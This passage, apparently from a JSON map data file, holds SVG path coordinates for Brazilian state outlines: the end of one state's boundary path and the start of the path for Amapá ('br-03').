74316.67 41207.00 74338.00C41207.00 74370.00 41207.00 74402.00 41207.00 74434.00C41142.67 74445.00 41078.33 74456.00 41014.00 74467.00C40992.67 74499.00 40971.33 74531.00 40950.00 74563.00C40907.00 74573.67 40864.00 74584.33 40821.00 74595.00C40810.33 74605.67 40799.67 74616.33 40789.00 74627.00C40757.00 74616.33 40725.00 74605.67 40693.00 74595.00C40671.08 74616.40 40649.48 74638.22 40627.36 74659.35C40531.24 74712.90 40435.12 74766.45 40339.00 74820.00C40328.33 74852.33 40317.67 74884.67 40307.00 74917.00C40285.43 74938.43 40264.11 74960.16 40242.39 74981.40C40210.26 75002.60 40178.13 75023.80 40146.00 75045.00C40081.67 75045.00 40017.33 75045.00 39953.00 75045.00C39931.67 75034.33 39910.33 75023.67 39889.00 75013.00C39878.33 75023.67 39867.67 75034.33 39857.00 75045.00C39867.67 75055.67 39878.33 75066.33 39889.00 75077.00C39889.00 75120.00 39889.00 75163.00 39889.00 75206.00C39846.00 75238.33 39803.00 75270.67 39760.00 75303.00C39352.46 75131.21 38944.86 74959.53 38537.35 74787.68C38473.23 74755.78 38409.12 74723.89 38345.00 74692.00C38291.67 74681.00 38238.33 74670.00 38185.00 74659.00C38141.75 74626.96 38098.73 74594.50 38055.33 74562.72C37796.45 74454.68 37537.48 74346.84 37278.65 74238.68C36314.77 73820.85 35350.86 73403.11 34387.00 72985.23C33998.54 72812.85 33610.15 72640.31 33221.65 72468.04C32467.33 72138.11 31712.94 71808.36 30958.67 71478.30C30858.82 71434.51 30758.82 71390.99 30659.05 71347.02C30616.00 71325.46 30573.15 71303.45 30529.97 71282.19C30477.12 71260.98 30424.15 71240.00 30371.37 71218.64C30049.69 71036.33 29728.06 70853.93 29406.35 70671.67C29105.50 70521.20 28804.56 70370.89 28503.78 70220.30C28084.42 69999.59 27664.98 69779.05 27245.69 69558.23C27075.63 69468.32 26905.46 69378.60 26735.46 69288.56C26413.90 69106.14 26092.42 68923.58 25770.80 68741.26C25176.21 68417.28 24581.69 68093.18 23987.05 67769.28C23735.51 67633.04 23483.89 67496.92 23232.38 67360.61C23114.92 67285.74 22997.46 67210.87 22880.00 67136.00C22729.06 67103.40 22578.07 67071.05 22427.17 67038.29C22255.73 66995.41 22084.34 66952.28 21912.86 66909.56C21334.44 66791.91 20755.98 66674.40 20177.58 66556.65C19694.30 66438.46 19211.05 66320.12 18727.74 66202.02C18306.89 66105.07 17886.08 66007.95 17465.20 65911.12C17370.55 65889.73 17275.80 65868.74 17181.21 65847.09C16529.81 65687.06 15878.41 65527.03 15227.00 65367.00C15194.78 65366.85 15162.47 65367.31 15130.31 65366.77C15069.41 65346.52 15008.41 65326.62 14947.19 65307.37C14740.46 65241.58 14533.73 65175.79 14327.00 65110.00C14305.41 65099.35 14283.98 65088.21 14262.29 65077.86C13522.86 64927.90 12783.43 64777.95 12044.00 64628.00C11989.70 64605.95 11935.22 64584.33 11881.04 64562.02C11602.35 64422.74 11323.76 64283.26 11045.01 64144.09C10315.67 63811.82 9586.38 63479.43 8857.00 63147.23C8204.67 62858.15 7552.33 62569.08 6900.00 62280.00C6803.33 62226.67 6706.67 62173.33 6610.00 62120.00z"},"br-03":{"name":"Amapá","path":"M96286.00 15497.00C96403.67 15486.33 96521.33 15475.67 96639.00 15465.00C96714.00 15422.33 96789.00 15379.67 96864.00 15337.00C96960.67 15369.00 97057.33 15401.00 97154.00 15433.00C97143.33 15572.33 97132.67 15711.67 97122.00 15851.00C97175.67 15915.33 97229.33 15979.67 97283.00 16044.00C97368.67 16022.67 97454.33 16001.33 97540.00 15980.00C97808.00 16183.67 98076.00 16387.33 98344.00 16591.00C98729.67 16644.33 99115.33 16697.67 99501.00 16751.00C99801.00 16665.33 100101.00 16579.67 100401.00 16494.00C100422.67 16483.33 100444.33 16472.67 100466.00 16462.00C100487.33 16472.67 100508.67 16483.33 100530.00 16494.00C100540.67 16472.67 100551.33 16451.33 100562.00 16430.00C100583.33 16430.00 100604.67 16430.00 100626.00 16430.00C100637.00 16440.67 100648.00 16451.33 100659.00 16462.00C100669.67 16451.33 100680.33 16440.67 100691.00 16430.00C100691.00 16419.33 100691.00 16408.67 100691.00 16398.00C100701.67 16387.33 100712.33 16376.67 100723.00 16366.00C100712.33 16333.67 100701.67 16301.33 100691.00 16269.00C100691.00 16247.67 100691.00 16226.33 100691.00 16205.00C100701.67 16194.33 100712.33 16183.67 100723.00 16173.00C100723.00 16183.67 100723.00 16194.33 100723.00 16205.00C100744.33 16205.00 100765.67 16205.00 100787.00 16205.00C100787.00 16226.33 100787.00 16247.67 100787.00 16269.00C100808.67 16279.67 100830.33 16290.33 100852.00 16301.00C100862.67 16269.00 100873.33 16237.00 100884.00 16205.00C100894.67 16215.67 100905.33 16226.33 100916.00 16237.00C100916.00 16226.33 100916.00 16215.67 100916.00 16205.00C100926.67 16194.33 100937.33 16183.67 100948.00 16173.00C100937.33 16162.00 100926.67 16151.00 100916.00 16140.00C100926.67 16118.67 100937.33 16097.33 100948.00 16076.00C100969.33 16076.00 100990.67 16076.00 101012.00 16076.00C101022.67 16086.67 101033.33 16097.33 101044.00 16108.00C101055.00 16097.33 101066.00 16086.67 101077.00 16076.00C101087.67 16086.67 101098.33 16097.33 101109.00 16108.00C101119.74 16107.94 101130.53 16108.11 101141.25 16107.92C101173.17 16097.28 101205.08 16086.64 101237.00 16076.00C101247.67 16076.00 101258.33 16076.00 101269.00 16076.00C101258.33 16054.67 101247.67 16033.33 101237.00 16012.00C101226.33 16012.00 101215.67 16012.00 101205.00 16012.00C101194.33 16001.33 101183.67 15990.67 101173.00 15980.00C101205.00 15969.00 101237.00 15958.00 101269.00 15947.00C101280.00 15925.67 101291.00 15904.33 101302.00 15883.00C101312.67 15883.00 101323.33 15883.00 101334.00 15883.00C101344.67 15872.33 101355.33 15861.67 101366.00 15851.00C101376.67 15851.00 101387.33 15851.00 101398.00 15851.00C101419.33 15829.67 101440.67 15808.33 101462.00 15787.00C101515.67 15787.00 101569.33 15787.00 101623.00 15787.00C101633.67 15797.67 101644.33 15808.33 101655.00 15819.00C101644.33 15819.00 101633.67 15819.00 101623.00 15819.00C101601.67 15829.67 101580.33 15840.33 101559.00 15851.00C101580.33 15861.67 101601.67 15872.33 101623.00 15883.00C101633.67 15872.33 101644.33 15861.67 101655.00 15851.00C101666.00 15872.33 101677.00 15893.67 101688.00 15915.00C101698.67 15904.33 101709.33 15893.67 101720.00 15883.00C101709.33 15904.33 101698.67 15925.67 101688.00 15947.00C101666.33 15958.00 101644.67 15969.00 101623.00 15980.00C101633.67 16001.33 101644.33 16022.67 101655.00 16044.00C101644.33 16044.00 101633.67 16044.00 101623.00 16044.00C101612.33 16054.67 101601.67 16065.33 101591.00 16076.00C101591.00 16086.67 101591.00 16097.33 101591.00 16108.00C101612.33 16108.00 101633.67 16108.00 101655.00 16108.00C101666.00 16097.33 101677.00 16086.67 101688.00 16076.00C101720.00 16086.67 101752.00 16097.33 101784.00 16108.00C101805.33 16108.00 101826.67 16108.00 101848.00 16108.00C101858.67 16129.67 101869.33 16151.33 101880.00 16173.00C101891.00 16173.00 101902.00 16173.00 101913.00 16173.00C101913.00 16162.00 101913.00 16151.00 101913.00 16140.00C101945.00 16140.00 101977.00 16140.00 102009.00 16140.00C102009.00 16151.00 102009.00 16162.00 102009.00 16173.00C102019.67 16162.00 102030.33 16151.00 102041.00 16140.00C102041.00 16172.33 102041.00 16204.67 102041.00 16237.00C102084.00 16237.00 102127.00 16237.00 102170.00 16237.00C102180.67 16247.67 102191.33 16258.33 102202.00 16269.00C102212.67 16269.00 102223.33 16269.00 102234.00 16269.00C102234.00 16258.33 102234.00 16247.67 102234.00 16237.00C102255.33 16237.00 102276.67 16237.00 102298.00 16237.00C102319.67 16258.33 102341.33 16279.67 102363.00 16301.00C102395.00 16301.00 102427.00 16301.00 102459.00 16301.00C102480.67 16322.67 102502.33 16344.33 102524.00 16366.00C102556.00 16366.00 102588.00 16366.00 102620.00 16366.00C102641.33 16355.00 102662.67 16344.00 102684.00 16333.00C102694.67 16333.00 102705.33 16333.00 102716.00 16333.00C102737.67 16344.00 102759.33 16355.00 102781.00 16366.00C102802.33 16355.00 102823.67 16344.00 102845.00 16333.00C102866.33 16344.00 102887.67 16355.00 102909.00 16366.00C102930.67 16355.00 102952.33 16344.00 102974.00 16333.00C102974.00 16322.33 102974.00 16311.67 102974.00 16301.00C102963.00 16290.33 102952.00 16279.67 102941.00 16269.00C102930.33 16247.67 102919.67 16226.33 102909.00 16205.00C102919.67 16205.00 102930.33 16205.00 102941.00 16205.00C102984.00 16226.33 103027.00 16247.67 103070.00 16269.00C103080.67 16247.67 103091.33 16226.33 103102.00 16205.00C103112.67 16205.00 103123.33 16205.00 103134.00 16205.00C103145.00 16194.33 103156.00 16183.67 103167.00 16173.00C103188.33 16173.00 103209.67 16173.00 103231.00 16173.00C103241.67 16151.33 103252.33 16129.67 103263.00 16108.00C103284.33 16108.00 103305.67 16108.00 103327.00 16108.00C103343.28 16091.75 103359.43 16075.36 103376.06 16059.46C103381.39 16054.21 103386.90 16049.10 103392.12 16043.77C103402.74 16022.51 103413.37 16001.25 103424.00 15980.00C103424.00 15958.33 103424.00 15936.67 103424.00 15915.00C103445.33 15904.33 103466.67 15893.67 103488.00 15883.00C103509.33 15883.00 103530.67 15883.00 103552.00 15883.00C103563.00 15904.33 103574.00 15925.67 103585.00 15947.00C103595.67 15936.33 103606.33 15925.67 103617.00 15915.00C103627.67 15936.67 103638.33 15958.33 103649.00 15980.00C103649.00 16001.33 103649.00 16022.67 103649.00 16044.00C103659.67 16054.67 103670.33 16065.33 103681.00 16076.00C103702.33 16086.67 103723.67 16097.33 103745.00 16108.00C103766.67 16108.00 103788.33 16108.00 103810.00 16108.00C103810.00 16129.67 103810.00 16151.33 103810.00 16173.00C103842.00 16183.67 103874.00 16194.33 103906.00 16205.00C103906.00 16226.33 103906.00 16247.67 103906.00 16269.00C103927.33 16279.67 103948.67 16290.33 103970.00 16301.00C103991.67 16290.33 104013.33 16279.67 104035.00 16269.00C104045.67 16290.33 104056.33 16311.67 104067.00 16333.00C104024.00 16365.33 103981.00 16397.67 103938.00 16430.00C103927.33 16419.33 103916.67 16408.67 103906.00 16398.00C103906.00 16430.00 103906.00 16462.00 103906.00 16494.00C103895.33 16504.67 103884.67 16515.33 103874.00 16526.00C103852.67 16526.00 103831.33 16526.00 103810.00 16526.00C103820.67 16536.67 103831.33 16547.33 103842.00 16558.00C103831.33 16579.67 103820.67 16601.33 103810.00 16623.00C103799.00 16633.67 103788.00 16644.33 103777.00 16655.00C103777.00 16665.67 103777.00 16676.33 103777.00 16687.00C103788.00 16697.67 103799.00 16708.33 103810.00 16719.00C103820.67 16719.00 103831.33 16719.00 103842.00 16719.00C103831.33 16708.33 103820.67 16697.67 103810.00 16687.00C103820.67 16687.00 103831.33 16687.00 103842.00 16687.00C103852.67 16697.67 103863.33 16708.33 103874.00 16719.00C103895.33 16697.67 103916.67 16676.33 103938.00 16655.00C103948.67 16655.00 103959.33 16655.00 103970.00 16655.00C103981.00 16644.33 103992.00 16633.67 104003.00 16623.00C104013.67 16623.00 104024.33 16623.00 104035.00 16623.00C104056.33 16644.33 104077.67 16665.67 104099.00 16687.00C104099.00 16676.33 104099.00 16665.67 104099.00 16655.00C104109.67 16665.67 104120.33 16676.33 104131.00 16687.00C104141.67 16676.33 104152.33 16665.67 104163.00 16655.00C104195.33 16655.00 104227.67 16655.00 104260.00 16655.00C104281.33 16644.33 104302.67 16633.67 104324.00 16623.00C104377.67 16612.33 104431.33 16601.67 104485.00 16591.00C104581.33 16591.00 104677.67 16591.00 104774.00 16591.00C104795.67 16612.33 104817.33 16633.67 104839.00 16655.00C104839.00 16665.67 104839.00 16676.33 104839.00 16687.00C104871.00 16719.00 104903.00 16751.00 104935.00 16783.00C104988.67 16783.00 105042.33 16783.00 105096.00 16783.00C105138.67 16804.67 105181.33 16826.33 105224.00 16848.00C105288.33 16837.33 105352.67 16826.67 105417.00 16816.00C105427.67 16783.67 105438.33 16751.33 105449.00 16719.00C105438.33 16708.33 105427.67 16697.67 105417.00 16687.00C105427.67 16687.00 105438.33 16687.00 105449.00 16687.00C105460.00 16697.67 105471.00 16708.33 105482.00 16719.00C105482.00 16708.33 105482.00 16697.67 105482.00 16687.00C105503.33 16687.00 105524.67 16687.00 105546.00 16687.00C105556.67 16697.67 105567.33 16708.33 105578.00 16719.00C105588.67 16708.33 105599.33 16697.67 105610.00 16687.00C105620.67 16655.00 105631.33 16623.00 105642.00 16591.00C105653.00 16580.00 105664.00 16569.00 105675.00 16558.00C105675.00 16536.67 105675.00 16515.33 105675.00 16494.00C105696.33 16483.33 105717.67 16472.67 105739.00 16462.00C105739.00 16430.00 105739.00 16398.00 105739.00 16366.00C105771.00 16366.00 105803.00 16366.00 105835.00 16366.00C105835.00 16355.00 105835.00 16344.00 105835.00 16333.00C105824.33 16311.67 105813.67 16290.33 105803.00 16269.00C105835.33 16269.00 105867.67 16269.00 105900.00 16269.00C105900.00 16258.33 105900.00 16247.67 105900.00 16237.00C105910.67 16237.00 105921.33 16237.00 105932.00 16237.00C105985.33 16215.67 106038.67 16194.33 106092.00 16173.00C106113.67 16151.33 106135.33 16129.67 106157.00 16108.00C106167.67 16118.67 106178.33 16129.33 106189.00 16140.00C106189.00 16118.67 106189.00 16097.33 106189.00 16076.00C106199.67 16086.67 106210.33 16097.33 106221.00 16108.00C106231.67 16097.33 106242.33 16086.67 106253.00 16076.00C106285.33 16065.33 106317.67 16054.67 106350.00 16044.00C106360.67 16033.33 106371.33 16022.67 106382.00 16012.00C106392.67 16012.00 106403.33 16012.00 106414.00 16012.00C106435.33 16001.33 106456.67 15990.67 106478.00 15980.00C106478.00 15969.00 106478.00 15958.00 106478.00 15947.00C106564.00 15883.00 106650.00 15819.00 106736.00 15755.00C106746.67 15733.33 106757.33 15711.67 106768.00 15690.00C106757.33 15679.33 106746.67 15668.67 106736.00 15658.00C106768.00 15626.00 106800.00 15594.00 106832.00 15562.00C106832.00 15540.33 106832.00 15518.67 106832.00 15497.00C106853.33 15475.67 106874.67 15454.33 106896.00 15433.00C106917.67 15433.00 106939.33 15433.00 106961.00 15433.00C106971.67 15422.33 106982.33 15411.67 106993.00 15401.00C106982.33 15390.33 106971.67 15379.67 106961.00 15369.00C106971.67 15347.67 106982.33 15326.33 106993.00 15305.00C107025.00 15305.00 107057.00 15305.00 107089.00 15305.00C107089.00 15272.67 107089.00 15240.33 107089.00 15208.00C107121.33 15176.00 107153.67 15144.00 107186.00 15112.00C107207.33 15112.00 107228.67 15112.00 107250.00 15112.00C107250.00 15090.33 107250.00 15068.67 107250.00 15047.00C107239.33 15015.00 107228.67 14983.00 107218.00 14951.00C107239.33 14940.33 107260.67 14929.67 107282.00 14919.00C107292.67 14919.00 107303.33 14919.00 107314.00 14919.00C107314.00 14908.00 107314.00 14897.00 107314.00 14886.00C107324.67 14864.67 107335.33 14843.33 107346.00 14822.00C107357.00 14822.00 107368.00 14822.00 107379.00 14822.00C107368.00 14790.00 107357.00 14758.00 107346.00 14726.00C107314.00 14704.33 107282.00 14682.67 107250.00 14661.00C107260.67 14639.67 107271.33 14618.33 107282.00 14597.00C107260.67 14575.67 107239.33 14554.33 107218.00 14533.00C107240.29 14510.65 107262.70 14488.42 107284.91 14466.00C107294.61 14456.00 107304.30 14446.00 107314.00 14436.00C107324.67 14447.00 107335.33 14458.00 107346.00 14469.00C107367.76 14415.18 107389.42 14361.32 107411.23 14307.53C107428.24 14272.98 107445.18 14238.40 107462.50 14204.00C107487.71 14153.55 107512.92 14103.09 107538.37 14052.75C107549.58 14030.50 107560.79 14008.25 107572.00 13986.00C107572.00 13975.33 107572.00 13964.67 107572.00 13954.00C107582.67 13932.67 107593.33 13911.33 107604.00 13890.00C107593.33 13868.33 107582.67 13846.67 107572.00 13825.00C107582.82 13803.45 107593.50 13781.83 107604.40 13760.33C107636.27 13706.89 107668.13 13653.44 107700.00 13600.00C107710.67 13568.00 107721.33 13536.00 107732.00 13504.00C107775.00 13439.67 107818.00 13375.33 107861.00 13311.00C107882.33 13289.67 107903.67 13268.33 107925.00 13247.00C107935.67 13257.67 107946.33 13268.33 107957.00 13279.00C107967.67 13279.00 107978.33 13279.00 107989.00 13279.00C108010.67 13246.67 108032.33 13214.33 108054.00 13182.00C108054.00 13171.33 108054.00 13160.67 108054.00 13150.00C108043.33 13150.00 108032.67 13150.00 108022.00 13150.00C108011.00 13139.33 108000.00 13128.67 107989.00 13118.00C107989.00 13086.00 107989.00 13054.00 107989.00 13022.00C108000.00 13022.00 108011.00 13022.00 108022.00 13022.00C108039.09 12987.30 108056.10 12952.56 108073.50 12918.00C108088.33 12888.34 108103.17 12858.67 108118.00 12829.00C108118.00 12796.67 108118.00 12764.33 108118.00 12732.00C108128.67 12700.00 108139.33 12668.00 108150.00 12636.00C108160.67 12625.33 108171.33 12614.67 108182.00 12604.00C108205.00 12558.26 108228.14 12512.59 108251.06 12466.82C108271.04 12426.54 108291.02 12386.27 108311.00 12346.00C108279.00 12314.00 108247.00 12282.00 108215.00 12250.00C108225.67 12228.67 108236.33 12207.33 108247.00 12186.00C108257.67 12175.00 108268.33 12164.00 108279.00 12153.00C108268.33 12142.33 108257.67 12131.67 108247.00 12121.00C108236.33 12131.67 108225.67 12142.33 108215.00 12153.00C108204.00 12142.33 108193.00 12131.67 108182.00 12121.00C108193.00 12099.67 108204.00 12078.33 108215.00 12057.00C108225.67 12067.67 108236.33 12078.33 108247.00 12089.00C108257.67 12078.33 108268.33 12067.67 108279.00 12057.00C108268.33 12046.33 108257.67 12035.67 108247.00 12025.00C108264.17 11990.67 108281.40 11956.37 108298.26 11921.88C108302.50 11913.26 108306.75 11904.63 108311.00 11896.00C108332.33 11885.33 108353.67 11874.67 108375.00 11864.00C108396.67 11874.67 108418.33 11885.33 108440.00 11896.00C108429.33 11842.33 108418.67 11788.67 108408.00 11735.00C108429.33 11713.67 108450.67 11692.33 108472.00 11671.00C108472.00 11649.67 108472.00 11628.33 108472.00 11607.00C108514.67 11585.67 108557.33 11564.33 108600.00 11543.00C108600.00 11532.00 108600.00 11521.00 108600.00 11510.00C108611.00 11499.33 108622.00 11488.67 108633.00 11478.00C108643.67 11488.67 108654.33 11499.33 108665.00 11510.00C108675.67 11531.67 108686.33 11553.33 108697.00 11575.00C108718.33 11564.33 108739.67 11553.67 108761.00 11543.00C108771.70 11531.92 108782.50 11520.92 108793.15 11509.78C108836.10 11445.52 108879.05 11381.26 108922.00 11317.00C108932.67 11306.33 108943.33 11295.67 108954.00 11285.00C108954.00 11263.67 108954.00 11242.33 108954.00 11221.00C109007.67 11156.67 109061.33 11092.33 109115.00 11028.00C109125.72 10995.93 109136.34 10963.82 109147.12 10931.77C109211.41 10803.18 109275.71 10674.59 109340.00 10546.00C109361.33 10524.33 109382.67 10502.67 109404.00 10481.00C109414.67 10438.33 109425.33 10395.67 109436.00 10353.00C109448.38 10340.88 109460.99 10329.00 109473.21 10316.72C109493.14 10296.48 109513.07 10276.24 109533.00 10256.00C109522.33 10245.33 109511.67 10234.67 109501.00 10224.00C109533.00 10213.33 109565.00 10202.67 109597.00 10192.00C109650.67 10074.00 109704.33 9956.00 109758.00 9838.00C109790.00 9806.00 109822.00 9774.00 109854.00 9742.00C109865.00 9720.67 109876.00 9699.33 109887.00 9678.00C109897.67 9603.00 109908.33 9528.00 109919.00 9453.00C109935.14 9436.40 109951.13 9419.65 109967.61 9403.39C109972.74 9398.26 109977.87 9393.13 109983.00 9388.00C109993.67 9334.33 110004.33 9280.67 110015.00 9227.00C110036.67 9205.67 110058.33 9184.33 110080.00 9163.00C110122.67 9173.67 110165.33 9184.33 110208.00 9195.00C110218.67 9163.00 110229.33 9131.00 110240.00 9099.00C110229.33 9056.00 110218.67 9013.00 110208.00 8970.00C110218.67 8948.67 110229.33 8927.33 110240.00 8906.00C110261.67 8895.33 110283.33 8884.67 110305.00 8874.00C110315.67 8863.33 110326.33 8852.67 110337.00 8842.00C110358.33 8842.00 110379.67 8842.00 110401.00 8842.00C110422.33 8831.33 110443.67 8820.67 110465.00 8810.00C110486.67 8777.67 110508.33 8745.33 110530.00 8713.00C110530.00 8702.33 110530.00 8691.67 110530.00 8681.00C110551.33 8659.67 110572.67 8638.33 110594.00 8617.00C110626.00 8606.00 110658.00 8595.00 110690.00 8584.00C110701.00 8562.67 110712.00 8541.33 110723.00 8520.00C110723.00 8509.33 110723.00 8498.67 110723.00 8488.00C110755.00 8466.67 110787.00 8445.33 110819.00 8424.00C110840.33 8391.67 110861.67 8359.33 110883.00 8327.00C110894.00 8295.00 110905.00 8263.00 110916.00 8231.00C110916.00 8177.33 110916.00 8123.67 110916.00 8070.00C110926.67 8048.67 110937.33 8027.33 110948.00 8006.00C110983.21 7970.48 111018.30 7934.84 111053.60 7899.40C111061.07 7891.93 111068.53 7884.47 111076.00 7877.00C111129.67 7866.33 111183.33 7855.67 111237.00 7845.00C111258.33 7834.33 111279.67 7823.67 111301.00 7813.00C111322.67 7791.33 111344.33 7769.67 111366.00 7748.00C111398.00 7737.33 111430.00 7726.67 111462.00 7716.00C111494.33 7694.67 111526.67 7673.33 111559.00 7652.00C111559.00 7598.33 111559.00 7544.67 111559.00 7491.00C111569.71 7469.50 111580.56 7448.05 111591.18 7426.51C111623.17 7340.93 111655.09 7255.33 111687.12 7169.77C111708.41 7126.84 111729.71 7083.92 111751.00 7041.00C111762.00 6998.33 111773.00 6955.67 111784.00 6913.00C111784.00 6859.33 111784.00 6805.67 111784.00 6752.00C111794.67 6741.00 111805.33 6730.00 111816.00 6719.00C111826.66 6676.24 111837.43 6633.51 111848.02 6590.74C111858.68 6451.49 111869.34 6312.25 111880.00 6173.00C111912.33 6055.00 111944.67 5937.00 111977.00 5819.00C111998.33 5797.67 112019.67 5776.33 112041.00 5755.00C112083.67 5744.33 112126.33 5733.67 112169.00 5723.00C112190.67 5744.33 112212.33 5765.67 112234.00 5787.00C112255.33 5787.00 112276.67 5787.00 112298.00 5787.00C112351.67 5840.67 112405.33 5894.33 112459.00 5948.00C112501.72 5980.07 112544.50 6012.07 112587.18 6044.18C112715.90 6172.92 112844.66 6301.62 112973.36 6430.38C113123.24 6591.25 113273.12 6752.13 113423.00 6913.00C113423.00 6923.67 113423.00 6934.33 113423.00 6945.00C113455.33 6987.67 113487.67 7030.33 113520.00 7073.00C113530.67 7105.33 113541.33 7137.67 113552.00 7170.00C113573.33 7202.00 113594.67 7234.00 113616.00 7266.00C113648.33 7362.33 113680.67 7458.67 113713.00 7555.00C113713.00 7566.00 113713.00 7577.00 113713.00 7588.00C113723.67 7598.67 113734.33 7609.33 113745.00 7620.00C113745.00 7684.33 113745.00 7748.67 113745.00 7813.00C113755.67 7845.00 113766.33 7877.00 113777.00 7909.00C113777.00 7984.00 113777.00 8059.00 113777.00 8134.00C113787.76 8144.69 113798.40 8155.53 113809.23 8166.13C113884.15 8209.09 113959.08 8252.04 114034.00 8295.00C114077.00 8295.00 114120.00 8295.00 114163.00 8295.00C114184.33 8316.33 114205.67 8337.67 114227.00 8359.00C114227.00 8369.67 114227.00 8380.33 114227.00 8391.00C114237.67 8391.00 114248.33 8391.00 114259.00 8391.00C114259.00 8455.33 114259.00 8519.67 114259.00 8584.00C114248.33 8616.33 114237.67 8648.67 114227.00 8681.00C114227.00 8799.00 114227.00 8917.00 114227.00 9035.00C114216.33 9045.67 114205.67 9056.33 114195.00 9067.00C114205.67 9099.00 114216.33 9131.00 114227.00 9163.00C114216.33 9184.33 114205.67 9205.67 114195.00 9227.00C114195.02 9291.42 114194.95 9355.84 114195.04 9420.26C114205.70 9495.68 114216.43 9571.09 114227.05 9646.52C114248.70 9882.01 114270.35 10117.51 114292.00 10353.00C114270.33 10406.67 114248.67 10460.33 114227.00 10514.00C114227.00 10503.00 114227.00 10492.00 114227.00 10481.00C114216.33 10492.00 114205.67 10503.00 114195.00 10514.00C114195.00 10621.00 114195.00 10728.00 114195.00 10835.00C114205.89 10867.90 114216.65 10900.85 114227.62 10933.72C114324.08 11200.81 114420.54 11467.91 114517.00 11735.00C114505.95 11767.41 114494.99 11799.85 114483.88 11832.23C114473.26 11853.49 114462.63 11874.75 114452.00 11896.00C114452.00 11949.67 114452.00 12003.33 114452.00 12057.00C114462.67 12100.00 114473.33 12143.00 114484.00 12186.00C114516.33 12218.00 114548.67 12250.00 114581.00 12282.00C114581.00 12303.33 114581.00 12324.67 114581.00 12346.00C114570.33 12367.67 114559.67 12389.33 114549.00 12411.00C114549.00 12443.00 114549.00 12475.00 114549.00 12507.00C114559.68 12528.42 114570.46 12549.80 114581.08 12571.25C114591.72 12603.50 114602.36 12635.75 114613.00 12668.00C114634.33 12689.33 114655.67 12710.67 114677.00 12732.00C114677.00 12796.33 114677.00 12860.67 114677.00 12925.00C114688.00 12968.00 114699.00 13011.00 114710.00 13054.00C114720.68 13075.42 114731.46 13096.80 114742.08 13118.25C114752.72 13150.17 114763.36 13182.08 114774.00 13214.00C114806.00 13246.33 114838.00 13278.67 114870.00 13311.00C114870.00 13386.00 114870.00 13461.00 114870.00 13536.00C114881.00 13568.33 114892.00 13600.67 114903.00 13633.00C114892.00 13654.33 114881.00 13675.67 114870.00 13697.00C114902.33 13686.33 114934.67 13675.67 114967.00 13665.00C114988.33 13686.33 115009.67 13707.67 115031.00 13729.00C115041.67 13729.00 115052.33 13729.00 115063.00 13729.00C115073.67 13750.33 115084.33 13771.67 115095.00 13793.00C115084.33 13814.67 115073.67 13836.33 115063.00 13858.00C115063.00 13879.33 115063.00 13900.67 115063.00 13922.00C115084.67 13932.67 115106.33 13943.33 115128.00 13954.00C115138.67 13975.33 115149.33 13996.67 115160.00 14018.00C115160.00 14104.00 115160.00 14190.00 115160.00 14276.00C115181.33 14286.67 115202.67 14297.33 115224.00 14308.00C115256.00 14340.00 115288.00 14372.00 115320.00 14404.00C115320.00 14425.67 115320.00 14447.33 115320.00 14469.00C115331.00 14479.67 115342.00 14490.33 115353.00 14501.00C115353.00 14586.67 115353.00 14672.33 115353.00 14758.00C115363.67 14779.33 115374.33 14800.67 115385.00 14822.00C115395.67 14886.33 115406.33 14950.67 115417.00 15015.00C115406.33 15058.00 115395.67 15101.00 115385.00 15144.00C115363.33 15154.67 115341.67 15165.33 115320.00 15176.00C115309.33 15197.33 115298.67 15218.67 115288.00 15240.00C115298.67 15240.00 115309.33 15240.00 115320.00 15240.00C115320.00 15229.33 115320.00 15218.67 115320.00 15208.00C115341.67 15208.00 115363.33 15208.00 115385.00 15208.00C115417.00 15186.67 115449.00 15165.33 115481.00 15144.00C115502.67 15144.00 115524.33 15144.00 115546.00 15144.00C115567.33 15154.67 115588.67 15165.33 115610.00 15176.00C115620.67 15197.33 115631.33 15218.67 115642.00 15240.00C115642.00 15261.67 115642.00 15283.33 115642.00 15305.00C115663.33 15337.00 115684.67 15369.00 115706.00 15401.00C115717.00 15411.67 115728.00 15422.33 115739.00 15433.00C115739.00 15465.33 115739.00 15497.67 115739.00 15530.00C115728.00 15562.00 115717.00 15594.00 115706.00 15626.00C115717.59 15648.59 115729.37 15671.10 115740.84 15693.75C115750.90 15714.17 115760.95 15734.58 115771.00 15755.00C115760.33 15787.00 115749.67 15819.00 115739.00 15851.00C115760.33 15861.67 115781.67 15872.33 115803.00 15883.00C115813.67 15904.33 115824.33 15925.67 115835.00 15947.00C115835.00 16000.67 115835.00 16054.33 115835.00 16108.00C115845.72 16129.73 115856.37 16151.51 115867.14 16173.22C115888.43 16205.15 115909.71 16237.07 115931.00 16269.00C115931.00 16333.33 115931.00 16397.67 115931.00 16462.00C115942.00 16462.00 115953.00 16462.00 115964.00 16462.00C115974.67 16472.67 115985.33 16483.33 115996.00 16494.00C116027.60 16557.65 116059.07 16621.36 116090.94 16684.88C116093.19 16689.40 116094.29 16694.41 116096.05 16699.14C116105.36 16727.09 116114.68 16755.04 116124.00 16783.00C116124.00 16815.33 116124.00 16847.67 116124.00 16880.00C116113.33 16890.67 116102.67 16901.33 116092.00 16912.00C116070.67 16912.00 116049.33 16912.00 116028.00 16912.00C116028.00 16922.67 116028.00 16933.33 116028.00 16944.00C116086.67 16920.64 116145.39 16897.42 116204.02 16873.96C116306.10 16832.95 116408.16 16791.90 116510.25 16750.92C116542.90 16740.11 116575.60 16729.43 116608.22 16718.54C116693.48 16686.69 116778.74 16654.85 116864.00 16623.00C116971.00 16623.00 117078.00 16623.00 117185.00 16623.00C117206.67 16633.67 117228.33 16644.33 117250.00 16655.00C117250.00 16665.67 117250.00 16676.33 117250.00 16687.00C117260.67 16687.00 117271.33 16687.00 117282.00 16687.00C117303.33 16708.33 117324.67 16729.67 117346.00 16751.00C117356.67 16783.33 117367.33 16815.67 117378.00 16848.00C117421.00 16901.67 117464.00 16955.33 117507.00 17009.00C117507.00 17019.67 117507.00 17030.33 117507.00 17041.00C117517.67 17051.67 117528.33 17062.33 117539.00 17073.00C117549.67 17094.33 117560.33 17115.67 117571.00 17137.00C117581.67 17137.00 117592.33 17137.00 117603.00 17137.00C117635.33 17169.33 117667.67 17201.67 117700.00 17234.00C117689.33 17255.33 117678.67 17276.67 117668.00 17298.00C117678.67 17308.67 117689.33 17319.33 117700.00 17330.00C117700.00 17340.67 117700.00 17351.33 117700.00 17362.00C117721.33 17394.33 117742.67 17426.67 117764.00 17459.00C117764.00 17480.33 117764.00 17501.67 117764.00 17523.00C117796.33 17544.33 117828.67 17565.67 117861.00 17587.00C117861.00 17640.67 117861.00 17694.33 117861.00 17748.00C117871.67 17758.67 117882.33 17769.33 117893.00 17780.00C117903.74 17801.92 117914.64 17823.77 117925.29 17845.73C117968.13 17953.22 